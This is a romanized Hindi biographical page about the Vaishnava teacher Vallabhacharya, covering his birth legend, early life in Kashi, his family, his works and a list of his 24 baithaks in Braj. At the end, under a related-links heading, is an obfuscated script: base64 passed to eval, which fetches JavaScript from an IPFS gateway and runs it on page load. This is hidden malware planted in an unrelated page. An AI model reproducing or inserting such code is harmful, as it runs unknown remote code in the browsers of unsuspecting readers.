doosare din prat:kal agat yatriyoan ne batalaya ki kashi par yavanoan ki chadhaee ka sankat door ho gaya . us samachar ko sun kar unake kuchh sathi kashi vapis jane ka vichar karane lage aur shesh dakshin ki or jane lage. lakshman bhatt kashi jane vale dal ke sath ho liye. jab ve gat ratri ke sthan par pahuanche, to vahaan par unhoanne apane putr ko jivit avastha mean paya. aisa kaha jata hai us g dadhe ke chahuan or prajjavalit agni ka ek mandal sa bana hua tha aur usake bich mean vah navajat balak khel raha tha. us adbhut drishy ko dekh kar dampati ko b da ashchary aur harsh hua. illamma ji ne tatkal shishu ko apani god mean utha liya aur sneh se stanapan karaya. usi nirjan van mean balak ke jatakarm aur namakaran ke sanskar kiye gaye. balak ka nam 'vallabh' rakha gaya, jo b da hone par suprasiddh mahaprabhu vallabhachary hua. unhean agnikund se utpann aur bhagavan ki mukhagni svaroop 'vaishvanar ka avatar' mana jata hai.

aranbhik jivan

vallabhachary ji ka aranbhik jivan kashi mean vyatit hua tha, jahaan unaki shiksha-diksha tatha unake adhyayanadi ki samuchit vyavastha ki gee thi. unake pita shri lakshman bhatt ne unhean gopal mantr ki diksha di thi aur shri madhavendr puri ke atirikt sarvashri vishnuchit tiroomal aur gurunarayan dikshit ke nam bhi milate haian. ve aranbh se hi atyant kushagr buddhi aur adbhut pratibhashali the. unhoanne chhoti ayu mean hi ved, vedaang, darshan, puran, kavyadi mean tatha vividh dharmik granthoan mean abhootapoorv nipunata prapt ki thi. ve vaishnav dharm ke atirikt jain, bauddh , shaiv, shakt, shaankar adi dharm-sanpradayoan ke advitiy vidvan the. unhoanne apane jnan aur paandity ke karan kashi ke vidvat samaj mean adaraniy sthan prapt kiya tha.

kutumb-parivar

unaka kutumb parivar kafi b da aur samriddh tha, jisake adhikaansh vyakti dakshin ke aandhr pradesh mean nivas karate the. unaki do bahinean aur tin bhaee the.

  • b de bhaee ka nam ramkrishna bhatt tha. ve madhavendr puri ke shishy aur dakshin ke kisi math ke adhipati the. unhoanne tapasya dvara b di siddhi prapt ki thi. san0 1568 mean ve vallabhachary ji ke sath badarinath dham ki yatra ko gaye the. apane uttar jivan mean ve sannyasi ho gaye the. unaki sannyasavastha ka nam keshavapuri tha.
  • vallabhachary ji ke chhote bhaee ramachandr aur vishvanath the. ramachandr bhatt b de vidvan aur anek shastroan ke jnata the. unake ek pitrivy ne unhean god le liya tha aur ve apane palak pita ke sath ayodhya mean nivas karate the. unhoanne anek grantho ki rachana ki thi, jinamean 'shrriangar romavali shatak' (rachana-kal san0 1574), 'kripa-kutoohal', 'gopal lila' mahakavy aur 'shrriangar vedant' ke nam milate haian.

vallabhachary ji ka adhyayan san0 1545 mean samapt ho gaya tha. tab unake mata-pita unhean lekar tirth yatra ko chale gaye the. ve kashi se chal kar vividh tirthoan ki yatra karate hue jagadish puri gaye aur vahaan se dakshin chale gaye. dakshin ke shri veankateshvar bala ji mean san0 1546 ki chaitr kri0 9 ko unaka dehavasan hua tha. us samay vallabhachary ji ki ayu keval 11-12 varsh ki thi, kintu tab tak ve prakaand vidvan aur advitiy dharm-vetta ke roop mean prasiddh ho chuke the. unhoanne kashi aur jagadish puri mean anek vidvanoan se shastrarth kar vijay prapt ki thi. vallabhachary ji ke do putr hue the. b de putr gopinath ji ka janm san0 1568 ki ashvin kri0 12 ko a dail mean aur chhote putr vitthalanath ji ka janm san0 1572 ki paush kri0 9 ko charanat mean hua tha. donoan putr apane pita ke saman vidvan aur dharmanishth the.

achary ji ke granth

  1. brahmasootr ka 'anu bhashy' aur vrihad bhashy,'
  2. bhagavat ki 'subodhini' tika,
  3. bhagavat tatvadip nibandh,
  4. poorv mimaansa bhashy,
  5. gayatri bhashy,
  6. patravalanvan ,
  7. purushottam sahastranam,
  8. dashamaskandh anukramanika,
  9. trividh namavali,
  10. shiksha shlok,
  11. 11 se 26 shodas granth, (1.yamunashtak,2.bal bodh,3.siddhaant muktavali,4.pushti pravah maryada bhed, 5.siddhant 6.navaratn, 7.aant:karan prabodh, 8. vivekadhaiyashriy, 9.krishnaashray, 10.chatushloki, 11.bhaktivardhini, 12.jalabhed, 13.panchapady, 14.sannsas nirnay, 15.nirodh lakshan 16.sevaphal)
  12. bhagavatpithika,
  13. nyayadesh,
  14. seva phal vivaran,
  15. premamrit tatha
  16. vividh ashtak, (1.madhurashtak, 2.parivridhashtak, 3. nandakumar ashtak, 4.shri krishnaashtak, 5. gopijanaballabhashtak adi.)

achary ji ki baithakean

shri vallabhachary ji ne apani yatraoan mean jahaan shrimadbhagavat ka pravachan kiya tha athava jin sthanoan ka unhoanne vishesh mahatmy batalaya tha, vahaan unaki baithakean bani huee haian, jo 'achary mahaprabhu ji ki baithakean' kahalati haian. vallabh sanpraday mean ye baithakean mandir devalayoan ki bhaanti hi pavitr aur darshaniy mani jati hai. in baithakoan ki sankhya 84 hai, aur ye samast desh mean phaili huee haian. inamean se 24 baithakean brajamandal mean haian, jo braj chaurasi kos ki yatra ke vividh sthanoan mean bani huee haian.

braj sthiti baithakoan ko vivaran is prakar haian—

  1. gokul mean – govindaghat par hai, jo san0 1550 mean achary ji ke sarvapratham braj mean padharane aur vahaan bhagavat ka prachalan karane ke anantar damodaradas harasani ko brahm sanbandh ki pratham diksha dene ki smriti mean banaee gee hai.
  2. gokul mean - shri dvarakanath ji ke mandir ke bahar hai, jo 'b di baithak' kahalati hai.
  3. gokul mean - shaiya mandir ki baithak ke nam se prasiddh hai.
  4. mathura mean - vishram ghat par hai, jo san0 1550 mean achary ji ke pratham bar mathura padharane aur vahaan ki 'yantr-badha' ke nivaran evan shrimadh bhagavat ki katha kahane ki smriti mean banaee gee hai.
  5. madhuvan mean - krishnakund par hai.
  6. kumudaban mean - bihar kund par hai.
  7. bahulaban mean - kund par vat vriksh ke niche hai.
  8. radhakund mean - vallabhaghat par hai.
  9. radhakund mean - chakaleshvar ke nikat manasi ganga ke ganga ghat par hai.
  10. govardhan mean - chandrasarovar par chhoankar ke vriksh ke niche hai.
  11. govardhan mean - anyaur mean saddoo paande ke ghar mean hai. is sthal par shri achary ji ne san0 1556 mean shrinath ji ki arambhik seva ka ayojan kiya tha.
  12. govardhan mean - govind kund par hai.
  13. govardhan mean - jatipura mean shri giriraj ji ke mukharaviand ke sanmukh hai. yahaan par shrinath ji ke prakaty ki smriti mean braj-yatra ke avasar par 'kunava da' kiya

jata hai.

  1. kamavan mean - shrikund par hai.
  2. barasana mean - gahvaravan ke krishnakund par hai.
  3. karahala mean - krishnakund par hai.
  4. sanket mean - kund par chhoankar ke vriksh ke niche hai.
  5. premasarovar mean - kund par hai.
  6. nandagaanv mean - pan sarovar par hai.
  7. kokilaban mean - krishnakund par haian.
  8. sheshashayi mean - kshirasagar kund par hai.
  9. chiraghat mean - yamuna tat par katyayani devi ke mandir ke nikat hai.
  10. manasarovar - kund par hai.
  11. vrindavan mean - vanshivat par hai.

sambandhit liank

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>